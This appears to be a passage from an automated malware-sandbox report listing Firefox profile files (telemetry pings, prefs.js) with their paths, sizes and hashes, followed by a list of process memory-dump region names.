SHA1 ea79be08925f76bb7e28ea3b8b63ea42b9281dc5
SHA512 b65e5954b06923893fd883657b79c5fc95b2f39768e23baa389102c03e5c3339b959f285f7d4ffdce5c908effe18bcf0f682c737a70eb2ca82106ff34dd451e1
TLSH
T1426146211B7469338EFCA045A3376E458AEE33CF58470BCC21698D7446B84A547CF35B
MD5 SHA1 SHA512 TLSH

Submit Download

b0f5d1ef-8e7a-44a0-abec-e124baef7efd

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\n6kourw2.default-release\datareporting\glean\pending_pings\b0f5d1ef-8e7a-44a0-abec-e124baef7efd
Size 235B
SHA256 dc5659ad7dcc575194ae6b742ef6d2d1e7edb5090108ff2ac98a92b737e94ea3
MD5 d04943924e94a091abc5c1b127be3870
SHA1 886207ab311eefe0d7dbb41f00454d47bfb99ca1
SHA512 0924e5a2558fcb63f32b9b4ec6516793b7ea731bed3771a028cdc68bf89ad3c8387d67131044bd1dc90e7f4c843c98e9a1cf226ae9d41593fc1bf9c47dc1a2d5
TLSH
T17CD0978024ACA35C1A000F06B0B02DC670988C3314B06C10C9B0443499FEED54111827
MD5 SHA1 SHA512 TLSH

Submit Download

be858921-308a-4ea1-8181-b865e810842a

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\n6kourw2.default-release\datareporting\glean\pending_pings\be858921-308a-4ea1-8181-b865e810842a
Size 3KB
SHA256 7740a9eaf618985bde8eeb04ba4ccad6e6b64436720f5b8b6db3312ef464d15b
MD5 ca576bc356c2b06b4705b9828bee897a
SHA1 36cc7c5dbaf57dddd29c08cac80f800742adf94f
SHA512 6298873cf69251951b110432cff976452ab8575e497e8b8309042b8c99cffe1bbb64887fc311c312b497807a1e6c86b0b0dbf0745ab624620458ca2fcd9cdba1
TLSH
T15661542117B4A9338EFCA141A3376E868EEE33CF58470BDD21698D6446E8469478F24B
MD5 SHA1 SHA512 TLSH

Submit Download

e3560fef-7fd2-454a-99b0-b5c13ec739aa

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\n6kourw2.default-release\datareporting\glean\pending_pings\e3560fef-7fd2-454a-99b0-b5c13ec739aa
Size 883B
SHA256 73529d274ca22a3510044134d0ca63cbd4c3f0f772fe42fb51ae104b60013e6a
MD5 9c60449ce426566db2854997a821c3f9
SHA1 ba5784417ddf58ae81bea92b01123d4095420fea
SHA512 e801502220c13ac42ea2f224d03d45ee1980c8918ca11241aa1aa94cbeb6dcd7b8154e0ff8b25469a015da3cc746a9d1341bc434800e861aa93df05b82879826
TLSH
T18F1104816635B5B2CC78C28B855137428FF4721380C951243DA29A150DAF91ED36630B
MD5 SHA1 SHA512 TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\n6kourw2.default-release\prefs.js
Size 6KB
SHA256 f17ebf2c1b0933adfa3adfc16ed85a21f63f5ae7ef30ec63f7f82049012f0d98
MD5 7251301d995459748a36fdddfc8bd19d
SHA1 53faad23a055675540036a533fa558ae96c56875
SHA512 d98320ae72dea210dee72b9d0b0fa2b05587ea508b34a947792d54e5918863aa83bda63ede54086dd41718e37a2032497d77512a2fe70efe95a244e34ab5e8ef
SSDEEP 96:xHi+UTUHqGqgaf0io1zSnKSSlmdv9jmnuH5lNdHWTBw88n8L4cn3XH1:k+aRgaf0ioaKSSW5lfWTBw88qV
TLSH
T10AE11F7891088F7F74B677ACAC688871AAB2013B77BF68D750B55485014CF3442F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3848-2-0x00000263EA2C0000-0x00000263EA2D0000-memory.dmp

Download

memory/3848-18-0x00000263EA170000-0x00000263EA2BE000-memory.dmp

Download

memory/3848-1-0x00000263EA2C0000-0x00000263EA2D0000-memory.dmp

Download

memory/3848-3-0x00000263E9DA0000-0x00000263E9DC2000-memory.dmp

Download

memory/3848-11-0x00000263EC740000-0x00000263EC7F4000-memory.dmp

Download

memory/3848-12-0x00000263E9DF0000-0x00000263E9DFA000-memory.dmp

Download

memory/3848-13-0x00000263EA2C0000-0x00000263EA2D0000-memory.dmp

Download

memory/3848-14-0x00000263EA2C0000-0x00000263EA2D0000-memory.dmp

Download

memory/4596-26-0x0000000007360000-0x000000000788C000-memory.dmp

Download

memory/4596-22-0x00000000069E0000-0x0000000006A92000-memory.dmp

Download

memory/4596-19-0x0000000005EA0000-0x0000000006444000-memory.dmp

Download

memory/4596-27-0x0000000006E80000-0x0000000006E9E000-memory.dmp

Download

memory/4596-21-0x0000000006600000-0x0000000006666000-memory.dmp

Download

memory/4596-15-0x0000000000400000-0x00000000004BE000-memory.dmp

Download

memory/4596-1580-0x00000000084C0000-0x00000000084CA000-memory.dmp

Download

memory/4596-20-0x00000000058E0000-0x00000000058F0000-memory.dmp

Download

memory/4596-339-0x00000000058E0000-0x00000000058F0000-memory.dmp

Download

memory/4596-25-0x0000000006B90000-0x0000000006BE0000-memory.dmp

Download

memory/4596-24-0x0000000006B10000-0x0000000006B86000-memory.dmp

Download

memory/4596-23-0x0000000006C60000-0x0000000006E22000-memory.dmp

Download

memory/4596-1573-0x00000000071A0000-0x00000000071C2000-memory.dmp

Download

memory/4596-1574-0x0000000007890000-0x0000000007BE4000-memory.dmp

Download

memory/4596-1579-0x00000000084F0000-0x0000000008582000-memory.dmp

Download

memory/4652-147-0x000002738BF40000-0x000002738BF80000-memory.dmp

Download